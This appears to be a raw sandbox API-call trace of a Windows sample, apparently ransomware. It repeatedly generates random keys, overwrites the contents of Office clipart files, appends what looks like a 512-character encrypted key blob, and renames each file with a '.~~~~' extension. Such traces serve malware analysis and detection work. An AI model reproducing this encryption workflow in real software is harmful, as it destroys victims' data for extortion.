	[0100.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862918
	[0100.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862918 | out: hHeap=0x300000) returned 1
	[0100.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2864348
	[0100.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.247] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0100.247] GetLastError () returned 0x0
	[0100.248] GetLastError () returned 0x0
	[0100.248] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0100.248] GetLastError () returned 0x0
	[0100.248] GetLastError () returned 0x0
	[0100.262] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff70f4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.263] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x8f0c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x8f0c, lpOverlapped=0x0) returned 1
	[0100.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0100.264] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.264] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.264] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.264] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.264] CloseHandle (hObject=0xc4) returned 1
	[0100.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.265] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf.~~~~")) returned 1
	[0100.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0100.266] GetLastError () returned 0x0
	[0100.266] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0100.267] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.267] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0100.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0100.267] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22025754514) returned 1
	[0100.268] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa571e950, dwHighDateTime=0x1d60e1e)) 
	[0100.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0100.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0100.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0100.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28629c0
	[0100.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28629c0 | out: hHeap=0x300000) returned 1
	[0100.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28643e0
	[0100.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.268] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0100.268] GetLastError () returned 0x0
	[0100.269] GetLastError () returned 0x0
	[0100.269] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0100.269] GetLastError () returned 0x0
	[0100.269] GetLastError () returned 0x0
	[0100.355] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffc3a8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.355] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x3c58, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x3c58, lpOverlapped=0x0) returned 1
	[0100.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0100.356] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.356] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.356] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.356] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.357] CloseHandle (hObject=0xc4) returned 1
	[0100.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.357] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf.~~~~")) returned 1
	[0100.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0100.358] GetLastError () returned 0x0
	[0100.358] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0100.359] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.359] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0100.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0100.359] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22034933205) returned 1
	[0100.359] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa5803190, dwHighDateTime=0x1d60e1e)) 
	[0100.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0100.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0100.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0100.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862aa0
	[0100.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862aa0 | out: hHeap=0x300000) returned 1
	[0100.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28645a8
	[0100.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.360] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0100.360] GetLastError () returned 0x0
	[0100.360] GetLastError () returned 0x0
	[0100.360] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0100.360] GetLastError () returned 0x0
	[0100.360] GetLastError () returned 0x0
	[0100.402] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffce30, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.402] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x31d0, lpOverlapped=0x0) returned 1
	[0100.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0100.404] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.404] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.404] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.404] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.404] CloseHandle (hObject=0xc4) returned 1
	[0100.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.404] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf.~~~~")) returned 1
	[0100.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0100.405] GetLastError () returned 0x0
	[0100.406] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0100.408] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.408] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0100.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0100.408] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22039947552) returned 1
	[0100.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa58755b0, dwHighDateTime=0x1d60e1e)) 
	[0100.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0100.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0100.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0100.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862b48
	[0100.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862b48 | out: hHeap=0x300000) returned 1
	[0100.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2864808
	[0100.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.410] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0100.411] GetLastError () returned 0x0
	[0100.411] GetLastError () returned 0x0
	[0100.411] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0100.411] GetLastError () returned 0x0
	[0100.411] GetLastError () returned 0x0
	[0100.472] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffffaa0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.472] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x560, lpOverlapped=0x0) returned 1
	[0100.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0100.473] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.473] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.474] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.474] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.474] CloseHandle (hObject=0xc4) returned 1
	[0100.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.474] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf.~~~~")) returned 1
	[0100.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0100.475] GetLastError () returned 0x0
	[0100.476] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0100.477] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.477] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0100.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0100.477] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22046725456) returned 1
	[0100.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa5933c90, dwHighDateTime=0x1d60e1e)) 
	[0100.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0100.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0100.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0100.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862bf0
	[0100.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862bf0 | out: hHeap=0x300000) returned 1
	[0100.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28649d0
	[0100.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.478] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0100.479] GetLastError () returned 0x0
	[0100.479] GetLastError () returned 0x0
	[0100.479] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0100.479] GetLastError () returned 0x0
	[0100.479] GetLastError () returned 0x0
	[0100.534] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffba08, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.534] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x45f8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x45f8, lpOverlapped=0x0) returned 1
	[0100.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0100.535] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.535] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.536] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.536] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.536] CloseHandle (hObject=0xc4) returned 1
	[0100.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.536] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf.~~~~")) returned 1
	[0100.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0100.537] GetLastError () returned 0x0
	[0100.541] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0100.542] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.542] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.542] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0100.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0100.542] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22053252198) returned 1
	[0100.542] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa59cc210, dwHighDateTime=0x1d60e1e)) 
	[0100.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
